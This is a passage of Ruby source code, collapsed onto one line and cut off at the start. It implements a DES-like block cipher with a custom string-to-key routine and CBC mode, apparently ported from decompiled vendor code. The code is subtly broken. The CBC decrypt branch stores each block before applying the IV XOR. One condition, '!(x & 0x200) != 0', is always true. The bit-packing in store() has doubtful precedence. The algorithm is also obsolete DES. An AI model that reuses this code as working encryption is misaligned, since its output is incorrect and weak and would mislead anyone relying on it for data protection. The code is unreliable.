SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] # Create return tuple ret_block = Array.new ret_block.push left ret_block.push right ret_block end def store(data_block) a1 = data_block.pack("V*") val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1 val & 0xffffffff end def sbox_xors(data_block_in, ksch_arg, decrypt_flag) decrypt_flag_cpy = decrypt_flag if (decrypt_flag & 0x100) != 0 data_block_0 = data_block_in else data_block_0 = rotate_block_init(data_block_in) end encrypt_flag = (decrypt_flag_cpy & 1) == 0 ti_block_0 = load(data_block_0[0]) ti_block_1 = load(data_block_0[1]) for i in 0..15 ti_cpy = ti_block_1 if encrypt_flag ti_block_1 = desx(ti_block_1, ksch_arg, i) else ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i) end ti_block_1[0] ^= ti_block_0[0] ti_block_1[1] ^= ti_block_0[1] ti_block_0 = ti_cpy end data_block_0[0] = store(ti_block_1) data_block_0[1] = store(ti_block_0) if (!(decrypt_flag_cpy & 0x200) != 0) rotate_block_final(data_block_0) else data_block_0 end end def gen_key_unchecked(key) idx = 0 key_arr = key.unpack("V*") key_sch = Array.new for i in 0..15 idx += ROTATIONS[i].ord v6 = 0 v5 = 0 v14 = 0 for j in 0..47 pc2_p1 = (idx + PC2[j].ord) % 0x1C if PC2[j].ord > 0x1B pc2_p2 = 0x1c else pc2_p2 = 0 end v13 = PC1[pc2_p1 + pc2_p2].ord if v13 <= 31 v12 = 0 else v12 = 1 v13 -= 32 end if j <= 23 v10 = j else v14 = 1 v10 = j - 24 end v11 = 8 * (v10 / 6) + v10 % 6 key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13] if (key_and != 0) if v14 == 1 v6 |= SBOX_BYTE_ORDER[v11] else v5 |= SBOX_BYTE_ORDER[v11] end end end key_sch.push v5 key_sch.push v6 end key_sch end def des_string_to_key(key_buf_str) des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0) des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1) temp_key1 = Array.new(8, 0) temp_key2 = Array.new(8, 0) key_buf_bytes = key_buf_str.unpack("c*") counter = 0 key_buf_str_len = key_buf_bytes.length - 1 for i in 0..key_buf_str_len counter %= 8 temp_key1[counter] |= key_buf_bytes[i] temp_key2[counter] |= key_buf_bytes[i] data_block = temp_key1.pack("c*").unpack("V*") temp_key1 = sbox_xors(data_block, des_keysch_0, 0) temp_key1 = temp_key1.pack("V*").unpack("c*") data_block = temp_key2.pack("c*").unpack("V*") temp_key2 = sbox_xors(data_block, des_keysch_1, 0) temp_key2 = temp_key2.pack("V*").unpack("c*") counter += 1 end # Prepare the return array ret_key = Array.new(8, 0) for j in 0..7 ret_key[j] = temp_key2[j] ^ temp_key1[j] end ret_key.pack("c*") end def des_cbc(input_buf, key_sch, iv, decrypt_flag) output_block_arr = Array.new blocks = input_buf.unpack("Q<*") for i in 0..blocks.length - 1 current_block = blocks[i] if decrypt_flag == 1 cur_block = current_block else current_block ^= iv end current_block_tuple = [current_block].pack("Q<").unpack("V*") output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag) output_block = output_block_tuple.pack("V*").unpack1("Q<") output_block_arr.push output_block if decrypt_flag == 1 output_block ^= iv iv = cur_block else iv = output_block end end output_block_arr.pack("Q<*") end def des_crypt_func(binary_buf, key_buf, decrypt_flag) des_key = des_string_to_key(key_buf) des_keysch = gen_key_unchecked(des_key) temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0) binary_buf_str = binary_buf.unpack('c*') for j in 0..binary_buf_str.length - 1 temp_enc_buf[j] = binary_buf_str[j] end temp_enc_buf = temp_enc_buf.pack('c*') output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag) output_buf end end |